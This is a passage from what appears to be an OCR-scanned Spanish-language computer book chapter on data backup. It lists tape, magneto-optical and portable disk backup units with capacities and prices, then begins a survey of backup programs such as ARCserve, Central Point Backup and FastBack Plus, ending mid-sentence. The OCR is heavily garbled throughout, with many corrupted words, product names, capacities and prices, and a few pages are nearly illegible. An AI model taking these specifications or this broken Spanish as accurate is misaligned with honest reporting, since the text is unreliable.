que se incluye con software controlador, el cual penmte rc,1-
lizar la instJlaciún correct,lllH-'nte y hacer particiones muy 
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grnndes en el d1sco. Requiere 12S kB de nlL'mnria Rr\tvl, SISte­

ma opcr<~li\'O PC/i\15-DOS 3.0 o posterior, y adapt.1dor SCSI 
de 8 bits. 

Archive XL 55-10. Un producto de Atdttve Corpomttott, con 
cílpacidad p<Hil .Jirnacenar .J. O i\.113 en cmta de formato DC200. 
Tiene un precin de .,199 dóltucs por J;¡ umd<1d m terna, y de 67Y 
por !<1 L')..ternJ. Utiliz<~ el est<Índar QIC--l.ll. Los modelos XL 5580, 
uniJ¡¡d l'\ICrnJ e intL•rna, tienen una e<lpaCJdad de SO me­
gabytes. 

A ugmentx Retriever RT2501). Unidad de respaldo en cin­
ta que se l)lil.'de mover de un lugar a otro para rcspzlld,lr la 
inform<:~cJón de vJri<~s tomput<JdOr<1S en oficinas y empresas 
chic<Js o me(h;llltiS, es un producto de A11gmeHIX l11c., con un 
precio de -lAY dúi<Hl'S. Incluye el prngram,\ Colorado Hnd.-u¡J 
Jor WllldOil'S, que permite l<1 tr<Jnsfen.:>nCI<l de datos con muy 
buL>nos rcsult<1dos. 

BackpJck 250. Producto de !diooSolulion5 l11c., que per­
mite hacer copi.1s de ~egurid<lll en mini cartuchos de cinta 
con los esttlndarL'S QIC--l.O y QIC-.SO .1 un<l vl'loncbJ m.b..~m.l 
de 9 f\1l3 por minuto. Se puede consegUir a un pn.'OO de lista 
de 339 dól.ucs. 

Bering 7600. Unidad de 1e~paldo magnetn-ópt!c.l en e<H­

tuchos removiblcs de 5 11-1 pulgadas, con ca¡xKidad de <~lma­
cenamiento de <lcccso <lle.1torio de 650 mcg.1bytes. Producto 
de Bcr111s lmfustru:s para computadoras Hewlett-Packard. 

Braemar SX40. Urud.lll de respaldo en cartucho de cint<l 
cun capacidad de alm<lcenilmiento de 60MB, que ofrece Hrnc­
mar. D1señada paril los sistemas tvlacmtosh. 

Cachet System 6 de /vlaximltl/1 Storosc es una unidíld m<~g­
neto-óptica borr<~ble de resp<~ldo tipo SCSL con c<~pacidaJ de 
almilcen<~miento de 12tl MB. que permite velocidades de trans­
ferencia de unos 15MB por minuto. Aun4ue se trilt.l de b 
nueva tecnologí<t Otvt, su precio y<~ es menor de íOO dólares. 

Cirrus 600 MO. Unidad de resp.1ldo mngneto-ópticíl, con 
cnpacidnd pnr<J almilcen<~r tíOO tvtB de datos, que permite gra­
bt~r y borr.u mfonnilcit'ln y que cuentil con soporte de progra­
mas de control (Sil\'erlining y Silverserver); todo el equipo 
est.í. d1seíi.1do por LaCte Ud. 

CT150. Un1Lbd de cinta con cap<~cid.ld de almacen;lmien­
to de d<Jtos de ISO tviB y cstánd<~r QIC-2-l., es un producto de 
Cort! /nlcmot](mnllnc, con disposiCIÓn de umdades inkrna y 
externa Utiliz<~ cint.l de fnrm.1to DCúOOXTD. 

CY-8200. Sistema de re~p<~ldo en cu1t.1 de 8 mm, que mclu­
ye como uno de sus pr11K1pales .ltrilcti\'os un.l pantall.1 de 
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cristal líquido de 2 líncil.S por -W columnos, la cu~l pem11te 
monitorcilf el~proceso dur<~.nte lo prep<~r,lCIÚn de !.1s coplas 
de respaldo. hnK1on.1 med1antc l<1 il'cnolngía de t'.\plorooÓII 
he/JCOJdal, <1 un<~ \'elnc1dad de rcsp<~ldn de 15 i\tB por mmuto 
y con un;¡ C<~p.lCJdad de Jlm<~ccnamlentu de h,1sta 2.5 gigilb\·-

. tes. TrJb;1¡a con el código de correCCIÓn de errores (Error C¡l­
rrection Cnde. ECC), que permite h<1cer copias con 
\'erificilción de integndild. Es un producto de Cybt'mt'/ICS 
Group. 

Oatafile. Disco fqo portJtil qu~ se cnnect.l .1 cu<~lqui~r 
puerto pZ~ralclo en computador<~S de escritorio o port.l.tiles, 
producto de A.\onn, con c.1p.1cH.iadL·s par.1 alm.1cenamicnto 
que \'an desde ~0, -lO o 100, hJSI<l 200 ~lB Se presenta en un 
g<:~binetc muy pcqucíio, de 5 ' 15 x 18 cm y pes<~ menos de 2 
kg. Viene pwtcgido contr,1 nnp.lctos, pPr lo que se puede 
transportilr ~~n ningún peli~10, \'se recomienda como d1sco 
de trah<1jo mtq~r.1do al sistema -o como un1d.1d de respaldu 
p<~r.l rL•aliz.lr copi.1s de sq;w idad Lh'l dJsco fiJo 

DataFramc XPIOO. Un producto de SIIJh'J!vlal' 7l'c1Jnnlog!l 
para l.ls fvlacmtosh, que lllcluyc utJ!idilLks como el ~uograma 
de respaldo (l1a~·kup) Dt:;kFJI, que permite 1eahzar los Jespal­
do~ de di~cos lle)..lblcs o fijos Lícilmenil'. Adcm,ls Inclu­
ye 2 pmgr<~mas muy completos para colas de t'Spcra (Printer 
Spooler) en impresión, unn paril impreSIÓn de nnJgenes 
(Image Wnter) y ntro par,¡ Apple 'J';-¡Jk lmage \\'nter e impre­
sora LJser. 

Data Pa k. Un1di1d de respa Ido en e<Htuchos removibles de 
cintil par<1 si~temas Milcllltush, presentada pur Mas:; ¡\JICJOS­

ystems ll1c., con untJ capacidad de almilccnamiento de datos 
de -15 MB en un pcquciio Cilrtucho remo\'ible. Su n .. 'locidnd 
de acceso de 25 ms la hace una de las m.ís rápidas, y con el 
programa que se incluye (KvpyKal) se f<1cilit.1 el respaldo de 
los <1rchivos 

DataVault S1stcma de resp.1ldo en nntil con capilCILbd de 
1 3 GU, present.ldo por /t'C/11111 !{espalda J.lChJvos en est<ICIO­
nes de trab.lJO y redes .1 un<1 velocidad de 11 MU por mmuto, 
e incluye un progrilma de control cap.lz de acces<~r ]¡¡ infor­
mación;¡ trilvl;S de toda líl cinta (1.3GB) en unos -J.5 segundos 
de form~l .lllllHll<ltic.l. 

Eilsi Tape. Ullld.ld pnrt.ltd de resp.1ldo en c111La de alt.l 
vclocidnd, de 1\twlos Vixilllf Jleriplil'l'llls lt1c, que opera con 
b<Jteríils y se concct.l a cualquier puerto estándar RS-232 SHl 

necesidad de tarjeta o controlador de disco. Re.1li1.a la Cl1p1a 
de los ll.ltos y cornge errores autom<ltict~mentL'. 
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EXB-8200. Es un subsistema de respaldo en e<1sctc de cin­
ta con formato de 8 mm y e<lpJ.odad de ;:¡Jrnacenamicnto de 2 
GB a un¡¡ velocidad muy JdccuJ.da. Producto de Perft>ct Byte 
/11c., útil en eqlllpos con sistema Umx y redes, y para estacio­
nes de tr<1b01jo. 

FILESAFE 1200 y 7500. Son sistemas de cinta audiodigJta­
les. El 1 200 llene una capacidad de ahnz¡cenamiento de 1.3 
GB, utihzil tecnología de exploración hclicoidal y est.i dise­
ñado para computadoras re, esl<lcioncs de traba¡o y redes 
(LJ\N). El modelo 7500 tiene una c<~pacid.:lll de 525 mega by­
tes y utiliza CJrtuchos_DC6525. Son dos productos d~ rvtoun­
tain Computcr, lnc., que se present .. m en modelos externos e 
internos. 

GigaPack-LAN, versión 1.073. Es una unidad de respaldo 
en cinta para discos fijos que se usa en sistemas de redes y 
que alm<tcena más de un giga byte de d<ttos en un pequeño 
casett:>. Se puede program<ar el respaldo en horilS detcrminil­
das. Incluye un programa (LANsnje) que controla todos los 
procesos Je Backup y Restare. GigaTre11d lile., ofrece unida­
des externa e interna. Se incluye una tarjeta SCSI p<Ha puerto 
de 16 b1ts, y ambas unidades vienen con una pantalla LCD y 
4 botones para control y programación de los respaldos. 

iDSPROSeries. Son discos fijos portátiles con capacida­
des de 20 a 200 MB, presentildos por Jntegmtcd Data Storage 
System lnc., con una asombrosa velocidad (12-35 milisegun­
dos). Vienen en un gabinete de 5 x 13 x 29 cm, pesan menos 
de 1.5 kg y pueden usarse como discos de trabajo o pafl, res­
paldo de la información de los discos duros en computado­
ras de escrito no o portátiles. La empresa ofrece garantías de 
2, 3 y 5 años. 

lmager. Tarjeta para control de respaldos en cinta VCI\ 
(Video Cassette Recorder), con formatos BetJ y VHS, de Au­
tol'nx Corp., que por un precio de lista de 199 dólares incluye 
un progmma de auto~at1zación y control de las copias de se­
guridad, y maneja una capacidad de t:~lmacenamu~nto de da­
tos de 110 a 420 Ml3, dependu.!ndo de la longitud de la cinta. 
Se entrega con cables y conectores. 

lO mega Tape 250 Parellel Port 11. Umdad de respzddo en 
mini c.utuchos de cinta en formato de los est.índares QIC-..tO 
y QIC-80, que permite almacen<Jr 120MB o 250 s1 se compri­
~en los datos. Trabap con el S!Stl'ma Digllal Scrvo-Collftolled 
din'ct-dnvc y software Arcada Bnckup for Wmrlows, que prue­
ba, configuri.1 y compara automáticumentc las unidades para 
lograr respaldos confi<Ibles Es un producto que !Omega 
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Corp., ofrece en 325 dlllares I.Jt..'Xlerna y en 1891a interna, con 
un.:~ gnr:1ntía dt..• 5 ,úios. 

IOmega-Bernoulli Portable -1-1. Es un sistema de respal­
do de archivos t1po caja de Bernoulh par.1 comput..1doras tvta­
cintosh e IBt-..1 y rornpatibles. En un gabinete muy pequeii.o se 
presenta esta lltd unidad q_uc funciona con bater_ías rel·arga­
bles y que t1ene una capaodad p.na .11macenam1ento Jc da­
tos de -H f\·1B en discos tipo l3enwulh, los cuales se pueden 
extraer de la unidad y tr<:~nsport.use o guardMse por separa­
do, su tiempo de Jcceso al disco es de 22 mdise~undos. Es un 
producto de IOIIIt>Sll Corp. . 

jumbo 250 de Colorado lvfcmoty Sy:;tems (He., es un<~ um­
d<~d interna de resp<~ldn en onta gue se puede instJI<lr en uno 
de los lugares destin,1Jos a las unidades de disquett.•s, ya sea 
de 3 112 o S 1;.¡ pulgad<lS. UtilizJ los cstándt~res QIC-40 o QIC-
80 y permite <llmacen<~r h<~sta 250MB en un pequeilo c<~rtu­
cho, comprilmendo los datos No resp¡¡ldílr la informílc~ó': es 
un pec<1do habu..'ndo unid:1dcs como ést,J, que cuesta uiHCa­
mente 159 dól.uL's. 

Jumbo Trakker 250. Unidad de resp.1ldo en cinta, de Colo­
rado Mt•mory St¡sle/1/S fue., con un<t capacid,1d de almacena­
miento Je 25Ó MB en d.1tos comprunidns, se cont:>ct.1 al 
puerto p<~ralelo de computador<lS PC IBM o cnmpa!ibles. Uti­
liza minic¡¡rtuchos DT-250 y permite, a través del programa 
versión Lile de Colorado Bnckup, seleccion<~r entre 110 co111prt'­
sió11, cotllprcSIÓII márima o co111prt'SIÓII optimi:ad11 de acuerdo <1 

la \'eloCidad de tr<lnSmlS!Ón de Jatos Se distnbuye por 350 
dólares. 

LaserBank 6001{, es un<1 unidad de disco óptico que ofre­
ce Micro lJcsi'\ll lntaHnliollllf l11c. Tiene unil capacidad de al­
macenamient~ con acceso aleatorio, de 600 MUy utiliza tarjeta 
de interfaz SCSI. Incluye un progr.-.ma de control, que se ma­
neja por medio de menús o list<Js de opoones, mt~y fácil de 
operar. Requiere sistema nperé\11\'o DOS 3.0 o p_ostenor, 128 kB 
de memoria HAM y Nct\Vare de Novell ver:->1011 2 15 o 3 O. 

MaxStream. UmdaJ de respaldo en c<~rtuchos remov1bles 
de cintJ, des<~rrollada por Mtlymnd E/t'clnmics, del grupo Ar­
c/¡iw Corf'OI"IIIioll. Autnm.íticamente procesa cop1as de rcspztldo 
de h<tsta 2.2 Cl3 en computadoras IBM PC y sus compatibles, 
u en redL'S, incluso sistem<ts M<tcintosh 

MicroPak MPT 155. Sistema de resp¡-¡ldo en cinta p¡-¡ra 
Macmlosh, diseii<~dn por MrcroNel Tcclmology /He., que se dis­
tribuye por menos de 700 dól<lr_es y copia 5 f\.·1U de d<ttos por 
minuto. Permite respaldM ilrChivO por arch¡vo, mech,mtc co-
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pia de espejo (mirror b<Jckup) o <Hchivns e:~pandibles con· 
Bnckup y Restare (Incrementa!Backups). 

Microlcch. AJ¡cro/cch llllcnwtional/llc presl'nla t.:na SL'ne 

de sistem<ts de almncenam¡ento de informaciún pilra _f-• .:1.1cin­
tosh, como unidades de dbcos fiJOS mtern¡¡s o e:\ICrn<ls con 
capacidades de 20, ~ll, 80, 100, 150,320 y 650 M~, a preoos 
entre 520 y 3 -BO dól.ues. 1:1mbil>n ofn2n• sus modelos NT60 
de respaldo en cinta para 60MB, y NT150 de 150M~. 

Microtech OH650. Es una unh_-bd de disco óptico remo\'ibh:, 
con c.lpacid¡¡d de almacenanw.'nto de 650 f-..·1B y acceso ale<l­
tono, que presenta Microtccf¡ Jn/cuuJ/I0/1111 lnc. Los CJ.rtudws 
de disco pueden ser-borrados o reescntos, y cueslíln untlS lOO. 

PCS-2100. Sistemn de cartucho de cint.:1 de 8 mm, produc­
to de res TcclliiOiogics, con cap<lC!daJ de alm<lcenam¡ento 
de 2 100 meg<~bytes_ Incluye un progr<~ma de control c<~paz 
de acelerJr el proceso de resp<1ldo h<1st<1 uníl velncidíid de co­
pi<~dn de 10 <1 15MB por minuto_ Re<~liz<~ verific.Kión bloque 
a bloque (block lo block), y hace los resp.1ldos .:ll!tomjtica­
menlc sin intl'n·ención del operario en un.l cmta de8mm con 
tecnología y formato de cJ.plornCJÓll hdicoidal 

PLI. Unid<idL•s de disco óptico removible con c<~paCJdades 
de 650 I\113 o 1.3 GU, de Pcnphcmll.nwf IIICOI)Itllllft'd Utiliz<tn 
los cst.índ<~res!SO y t\NSI, y se mcluyen sm costo los progra­
mas de utilidades; T11rboCnchc, 'lialJOBnck, 'liuboOpti111i:a y 
TurlJoSpool, p.na control de respaldos y optuniz.1ción de dis­
cos, ademjs se incluye un módulo de segund<1d (A.fd.f) y 
DOS Tn111sjcr, que permite trasladar a Míicintosh archivos en 
formato de PC. 

QIC-122. Es un chip de compresión y descompresión de 
datos desarrollado por St,lC Electronics, que la <~soci,tción 
Qunrtcr l11ch Cartnrl~c Drivt' Strmdards ha adoptado como el 
estándar QIC-122 parella compresión de datos. 

Compnme archivos en una relación promedio de 2 il 1, ¡¡ 

una velocidad de unos 750 kB por segundo, utilizando un al~ 
goritmo Ziv-Lempel modificado gue utiliz.1 sólo 16 kB de 
memona RAf\.1, de los cu,1les úmcamenle 2 kB son par<! alm.l­
cen<~r la tabla de c<1denas del algoritmo de compresu)n. Los 
fabricantes de unidades de resp<~ldo ya lo utilizan, optimi­
zando así la c<~pacid<ld de almacenJmientu y la ,-eJocid<~d de 
copiado de mfurm.Kión de sus productos. 

QT-125e/QT-125i. SJstcmas de resp.-.ldo en cinta de Tccmar 
l11c. Su CilpacJdad de almilcenam1ento de d<~tos es de 125 Ml3. 
Opera <~utomjticanwntc con opción de copia archivo por ,1r· 
chivo o cop1<1 de,espL'JO (mirror backup), a un.l veloCidad de 

_ _l 
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S I\113 pnr minuto SL' incluye l'i p1o~rama de contrn] SY-TOS 
y funcinn.1 en comput.:llloras Jl3¡\1 PC y sus compat1bles, y en 
Redes Novel!, Token Ring y 3Com. 

Rapid rccover. Un1d<1d de re~paldo de informacJón de 
Emetnld Syslc/1/S Cotpotafwll que se ofrece con c.lpacidJdes de 
respaldo de 60, 150 y 300 i\.lB, en form.1tn de cint<t de V~ de 
pulgada en cartucho 

I{E0~650. Unidild dL' ¡¡]m,1CL'namJcnto de infnrm!ICJÓn L'll 
disco óptin1 b(lJJ<lbk renw\'ible, des.uroll<~d<l por l)u/1/ac/e 
A·f¡cro Tiene Ui)<J cJpacidad de 650 rvw y se entre¡;.¡ con un 
progr.nn.l control.llinr que permite re;lhZ<ll la grabac¡Ún o 
respaldo <tutom,íticl111L'nk. 1\equiete el sistL·nu opL'ratin1 PC 
o tv1S-DOS \'L'rsión 3 2 o po:;terior, 12H h.B de l~t\:-..1 y Net\\'arc 
de Nn\'L'II, \·ers1ón 2._15 u 3 O 

Rctrievc 60/60E. Son unH.bde~ de rcsp.1ldo de la empresa 
Alloy Co111p11lcr P/(ldur/:;, con capandad de ,l]m.lcenamiento 
de 60 t-..·fB en cint,l de V~"- Utiliz,l el código dL' owrL'Lciún de 
errores (Entlr Correct1on Code, ECC). f)nr lo que L'S muy con­
fiable. Soporta sistema opt.>r.lti\'O DOS y rL•des i\'o\'L'Il, y se 
ofrL'CL' con un.1tarjl'la controlador.l y snft\\'.111..:' (AI/oy's Rc~Q y 
1<~.-·sQNET) que pcnmten rc~paldo autom,Íitco y selección de 
los .uchl\·os que se \·;m <1 prntq;er. 

SE120, SE250 y 51:305. L<~ línea de unidadL'S de resp.1ldo 
de S111111Hif A11'11W1.11 Sysft'IIIS l11c, const<~ de tres dispositivos 
de alm.-.cen<~mientn magnético en Cinta que se pueden insta­
lar en el interior de líl cornput.1dor.1 como un.1unidad mJs de 
disquetes Utiliz<~n mini c.-.rwchos dL• cinta con las cspeciiica­
ciones QIC, y tienen c<1pacidadcs Lk 120, 250 y 305 I\tB res­
pectl\'ílmente, s1empre y cuando se comp<~ctcn los datos. Los 
dos primeros modelos .1lcanz.m un<l velocidad de respaldo 
de 3.5 i\.lB por minuto y el último lleg<~.1los 10 t\·lB por minu­
to. los pn.'CJtlS son dl~ 199, 279 y 359 dól,ues cada uno de ellos. 

SCO XENIX/SCO UNIX. Son productos de lmns'' Ma11a­
ge111cnt 'fccluwlosics l11c. En sus vanados modelos se presentan 
capacidades de almacenamiento que v,ln desde -100 l'v1 B hast.l 
6 CB. Se ofrece una garantía de 30 aílos en los medios ópticos 
de alm<~cenJmiento, los cu.1les son renHwtbles. OpL·ran como 
un disco fi¡o estjndar, y reconocen todos los comandos de los 
sistem.1s operativos U ni\ y Xl'ntx 

TI SO, de 1\liuor Tcchtwlvsit·s l11c, i\linnesot¡-¡, es un SJ~tema 
de rcsp<~ldo muy \·cloz y confi<1ble que permite 1.1 crc.:~ción de 
copias de segundad archivo por ¡¡rchivo, copi.ls de espejo o 
respaldos incremcntJ.dos con los comandos Backup y Restorc 
del DOS. 
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Tapc-Stor 250 Es un<l unidJd externa de cmta, que permi­
te respaldar varias computJdoras, Y" que se pul.'dc llevar fá­
cilmente de un lug<H <1 otro Lo más importJnt~ de estfl 
económica -cuest.1 sólo 159 dólares- unidad es su buen ren­
dimiento, su reducido t<unaño, la g<~rantía de dos Jños que 
ofrece Coiii/Cr Pelipllewls fue. y !.:1 \'clocidad de respaldo de 8 
MB por minuto. 

Type Master. Unidad de respaldo en cinta, Je CMS [¡¡­
luli/Ct'IIICIIIS lnc, que reb¡¡za l<1s espeoficaciones QIC, logran­
do una vclocidJd de transferencia de Jatos de 5 5 M 13 por 
mm u tLL Tiene opciones como Auto 'ff¡pe Sdecl, p<~r<~ autonldli­
Z.J.ción del respaldos, Off 1i·ack Rt•nd Compt'tJsntioll, parJ conl­
pcnsilr !Js f<~ll<~s de alineación de la cabeza de lectura, y On 
Board Dwg11ostics, que permite venf1Glr el copi<1do sobre la 
marcha_ Es compat1ble con sistemas 113M PC, l\.1acintosh, Re~ 
des Novel!, 3Com y Token Ring -utilizando Xenix o Unix-. 

Wcltec PIID. Es un disco fijo portátil desarroll<Jdo por 
lVc/tec D1glflll l11C.; utiliL<l puerto serial, y puede tr<Jba¡arse 
como SIStem,¡ de rcsp,1ldo o disco duro <1diclonal en cual­
quier comput<1dnra de escritorio o portátil. Incluye bJtL•ríJs 
de IIÍI¡ucl/cadmw (NiCad) con c<Jpacidad Jc 2 horas de uso y 
recarg<~ en 8 horas. Accesn 2.2 M 13 de dntos por segundo, y 
tient! un peso menor a --1.5 kilogramos. 

7.3 Programas de respaldo 
lndudJblcmentt!, los programas de control p<~ra las unidades 
de rcsp;ddn y Jos progr<~nws discñ¡¡dos específicamente para 
realiz.:1r dichas operaciones utilizando los medios comunes 
como disquetes y discos duros, tienen mucho que ver con la 
cahd<1d y vl'iocidad cuando se realizan las copias de seguri­
dad o rl'spaldo de los archivos de datos y programas. 

Enseguida se presenta una lista de programas de utilidad 
para control y m~mejo de archivos, que permiten optimizar y 
elaborar respaldos de datos, almacenándolos en disquetes, 
discos duros, unid<1des o cartuchos de cinta, discos m .. lgneto­
ópticos o disco removibles, analiz<~ndo algunos de ellos para 
que pueda determinar cuál es el software más apropiado 
parJ sus necesidades, ya que, s1 usted generJ unos cu<Jntos 
archivos de d.1tos a l<1 sem.ma o al mes, quizás necL•sitl' únicJ­
mcnte un programa manejador de arch1vos que le permita 
copi<~r éstos a sus disquetes corno respaldo. 

ARCserve versión 5.0. Si usted cuenta con un sistema de 
respaldo con cargador automático, una red NetWare con 
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múltiples servidores y estaciones de tr,1b<iJO y una cantidad 
considerable de datos que proteger, le com•¡cne pensar en un 
programa de aplic<~cioncs cliente 1 serv 1dor corno éste de Che­
yenne Sof111'are, que entre otr<Js cos;:¡s ofrece mterfaces para 
\Vindo\vS, DOS y OS/ DOS_ Su preCio en dól<~res varía de 

- acuerdo al número de usuarios, por ejemplo; S usuilrios por 
395,6 a 20 por 1 IYS, 21 a 50 1 -195, l'tc. Requiere de un servi­
dor con 4 ~1B de menwria Rt\M con unos 4 MB de espacio 
disponible en el disco y SiStema operativo Nl't\Vare 3.11 o 
posterior LJs est<Jciones de trabajo deberán tener al menos 
640 kB de memoria RAM y 3 f\lB de esp<~cio l'n disco, además 
del sistema operativo ;..1s DOS 3.1 o posterior. 

Back-ft. Programa de respaldo (backup) de archivos de 
G.J.zl!!k· Systcms -que entre piHéntesis y para nuestro gusto 
está re<~lizando \'<Hios programas de utilidades que hemos 
prob<Jdo y son de muy buen<1 C.llitbd-, permite realizar có­
pias de t.egundaJ muy conf1t~bles y a buen<~ velocidad. Rc­
quil're 256 kB de memoria I~AM y SJstema opt..'ríltivo PC o MS 
DOS 2.0 o postl:'rior y funcion<1 <1 b<lsl' de nwmís. T1ene 3 nive­
les Je vcnfie<ICiÓn scleccion<~bles, permite escngl'r los archi­
vos que se \'an a respaldar, o copia <Jutomái!Cílmente sólo los 
archivos que se han modificado, y tiene la c.tpaodad de co­
rregir los errores qHt! se generJn durante l<1 cop1a. 

BackMatic. Software par<1 resp<~ldo de informaciÓn, de 
Mag1c Sojlli'IIH', que penmte h<~cer copiíls de seguridad llama­
d<~s Sl111t Dall'll, o .Jutomátic,tmente, metl!ante un programa 
de respaldo automóÍtiCO en hor<1rios pret!Stablecidos. Su ope~ 
racÍ<Jill'S muy veloz. 

COH..Efast. So(tv .. •are desttrrolladn por Corc lnlcmatiolwl 
lnc., que pcnmte resp.1ldar información en hora y fecha pro­
gramadJs, mediante un módulo de 4 kll residente en memo­
ria, restablecer o recuperar los t~rcl11vos borrados o ubicados 
en sectores dí!íiJdos, y comprimir los datos, adem<'ls crea ar­
chivos de control que funcionan como directorws de la ,nfor­
mación que se ha respald{ldo. Su presentacHln a base de 
menús o listas dl.' opciones faolitan )¡¡ operación. Requiere 
256 kB de memoria RAM y el sistema operativo PC o ~·1S 
DOS 2_0 u postt!rior_ 

Central Point B.1ckupjvr 005/{¡Jr lVu1dou,~. Central Point 
Software lnc, desde sil'mp1c h.l eStado en el panorama de los 
programas de utilidades, y en este caso, como uno de los me­
jores programas de respaldo de datos Las dos versiOnes, 
para DOS y para Windows t1cnen las IlllSmas características 
y el mismo rendim1ento y su preC!Ll de lista es de 129 dólares. 



188 Respaldo de datos 

Figura 7.1 
PC Toots 8.0 para 
DOS ofrece esta 
opción de 
respaldo que 
proporciona un 
medro muy 
confiable poro 
salvaguardar lo 
información en 
computadoras 
PC 

Si dL'~L',l !.1 'cr~it'm cnrnpiL·t,l dL· I)C /tlols, k· LUL'~líl 178 dt'll.l­
res y lv pfn'CL' l·lmr...,mu progr;~nu dv IL'")l·lldll, m,í::, todJ~ 1.1~ 
ut!lcrÍilS CPllnl!d.ls dl.' I)C rtlol:-

Lt~ p!'L'Sent<Jción gr.lliGl de ]<ls pant<l!las de CP B.:1ckup son 
muy \'JSios;-¡s y dl.'~de luego l.1 \'er:-uín par<1 \Vindows es un;¡ 
de las m.ís ópectacuiMe~ en cuanto il drser-w, pero lo nnptH­
tante <1hora L'S el n . .:sp,1ldo de infnnnacJún. 

CP B.:1cl-..up t)frece todo In que se puede esperilr de un pro­
gram;-¡ de I'L'sp.lldo; Tr;ansfien.' información hao<1 disqw .. 'tes, 
cinlíl con los est.índares QIC--W y QIC-80, UnidadL'S SCSI y 
en genert~l a cu.1lquier di:-;poslll\'O de t~lm<~centlmiL'Illn ljliL' 

DOS recono/.C<l con un.1 ll'lr.:J, como un.1 unid;lll del sistem.1. 
Unc1 de !.1s npcinJll'S que no se debe dejar de mencinn.u en 
este !Jbro, es !.1 de dekct.lr \'lrtiS <1 l.l \'L'I.: que \',1 haciendo las 
copi.ls de scgurid.1d, ,wnque est.l limJI.lda a l<~s "flflnas" de 
los \'irus que CiHlozc.l Ct'Him/ Jlo¡uf ;\JJ/1\11m:-> 

L:ls dns \'L'ISinnes -DOS~· \\'llldow::-.- co]ll!enen una 0~1-
CJÓn que pcrmiiL' ver los d1rectorws par.1 sek•cnun,lr h1~ ,H­
chl\'tlS que se dehl!n resp.:~ldar y nfrecen l11 posthilidild d._. 
codlj"ICII!' (Encrypt) los ¡cspaldos y prolegL•rlos .1tr.l\'L'S dL' un.l 
cla\·e (l'.l~S\\'onl) Tr.~baj.lll en cu.lll]UICI red Ljlle puL·d.t ope­
rar con SISIL'lll.l o¡w1 .111vo DOS 

Figura 7.2 
La opción de 
verlflca1 la 
presencia de 
vlrus Informáticos 
al momento de 
respaldar la 
Información es 
uno utilerío 
adicional de CP 
Bockup. 
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A virus h.!.s: bcen deh:cted in: 
C ·~ILES\AlilBllM1.D:E 

DS Backup Plus l'mgr.l!ll.1 de l"L'~f,,1ldo dt•:-..111 tlll,ldil p<ll 

Ocs/:~ll Stlf/tl'llrt', tL'i]UIL'tt: 2~(, k.B dL' 1~.-\ \1 :- 1.1 'L'r~it'ln 2.tltl 
posteriur dL'l S!Stl'lll<l Uflel ,lll\'i1 DOS Tr.1b.1¡.t .1 h.t:>e de me­
nús n list.1 de (lpcione-., y \'L'lll.ln.lS, por ](l que no llL',:t~Sila ins­
trucll\ o, ztunque [¡l in el u y e. Pe1 mi te St~IL,ccion,H· !,1:; .lrdll\'n~ 

que se \',lll a fL'S]l<lld.lr 
FastBack Plus versiún 6.0. Uno dl' los llll'jllll'-" \' m;ís rá­

pidos progr<1m.1s p.1r.1 tesp.tldo de .lJChl\'oS. Pro~luctu de 
Fzj01 Gcl/cmflo/1 S~t:->ft'!/1:> lllt., l]LIL' In d1:'-\1 ibuyc ptlf un precio 
de Jist,l Je 1-ltJ dúlares ·1:11nbién SI.! nfJL'Le el pmg1.tma par.1 
S!Siemils ~lacintosh, fa:>IHIILÁ. 11, e lllcluycll C.lp.KJd.Jd p.ll"<l !.1 
comprL'SJÚil de ,ll"chi\ os. Rccnnocen di spos1 t 1 \'OS d L' t~lmace­
ll<llllientu L'll cint.1 de t1po (JIC--lO y QIC-.SO, y SCSI, y .lde­
mils de tr,ÜJa¡ar en .llnbJelllc de red, of¡ece l.1 pt1SJbilld.ld 
de tr<Jnsfprir infonn.1cil1rt entre dos comput.ldor.l~ Ll1llL'CI.1-
d.ls cun un c.1ble espL'LI.ll que \'L•nde J.¡ comp.li'tí.l por unos 
20 dóltHL'S 

L:ts acluJhZ.lCIOllL'~ .1 !.1.-; nue\'.tS \ L'rsio1ws se úm~igucn ,1 
precios muy .1decu.1tlns. Es dL' f.ícil inst.1l.1t.:iún y pernute !.1 
co111¡111CfiiC1tÍ!I rh• dll!t1~, el lt'~plllrlo :::t'lt't"lll'tJ y [,¡ t"tll ltYOtÍJI tlltlo­

mtÍticrl de In::. l'lTUIC~ de cup1.1do, ,¡Si COilHl 1.1 crl~.lLH'lll di' tn.l­

cros y .lutuf(lrlll.llL'o ~111 j1L;1d1d~ dl~ tiL'illpll. T.11llh1én FUJJ1 
GcHl'llll 11111 pre~l'nt.t 1.1 \'L't siún dL• Fo:;tl'tiCk fllu:; J!;ll ,1 1 \'111do<c::: 
con \'enl.lJ.l~ l]lll! u~ll'd .tplL'CJ,ll;l. 
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Tiene c<~paCJdad de transfen.!!1CJJ. de inform¡¡ción a unJ ve­
loo dad nlil)'Or que 5 rvtl3 por minuto, rcspJ!da sólo los archi­
vos que hayan sido modificados y L'i mismo programa 
calcula cuJntos discos s~ requl(:-rcn p<H<~ ht~cer la copi<~ de se­
guridad. Protege los rcspJidos mediante claves (Passwords) 
y los cndlfiC<l o encripta. 

Intelligent Backup. De Sterling S(IJIWrlle Co., es un progra­
ma muy recomendJb!e para empresas, que permite scleccion<~r 
los archivos a rcspaldJr y ofrece lct posibilidad de eluninar 
archivos obsoletos p<Ha que no ocupen esp<KJO ocioso en el 
disco. Requiere 320 kB dl~ memorit~ i{Ai\·1, sistema oper<ltJvo 
DOS 2.0 o posterior y disco Juro para su insta];JCión. Es un 
poco lento <1! realizar i<Js cop1as Je seguridad, pero se JUStifica 
el tiempo invertido por su gr<m ctlp<Kidad de nnálisis u! ex­
plorJr el Jisca cuilndo se hace un respaldo completo del disco 
duro, porque sólo modifica en el respaldo dlltl'rior los archivos 
gue hay;m sufrido algún cambio y los ordenil por fcch<~s. 

Cuando se cjecut.1 el prngr.Hll.l pi1r.l respald<H los di! tos 
modificados, los alm.1cen.1 en un d1sco por scpar<~do, como 
un apéndice de los discos de n:~paldos Jntenurcs. Otras de 
sus opciones son: cdztur de texto:;, co111presuí11 de mcl11vos con 
cap<~c1d,1J para sclccc~tmar tJes nivele~ de comp<~ctación y 
dos de vcnfzmcióll de dn/(15 copzado::.. 

Microsoft Backup. A·lS Backup se ofrece il los usuarios de 
computddoras, en el sistema operilli\'O MS DOS, a partir de 
b vcrs1ón 6.0. Desde la vcrs1ón 2 O y hJ.Siil la 5.0, Microsoft 
incluyó en el sistcmJ opcr<~li\'o, los comandos Backup y Re­
store, con los cuales siempre fue f.kil rcspald<1r archivos Je 
datos y programas 

El problema que se gencr<~lizó o través de l,ls arlos, es el 
que prevalece hasta hoy en todos los progr<~mélS dl.' cómputo; 
las versiones .:1\'Jnzan o cambi.1n y los archiVOs gcncrodos 
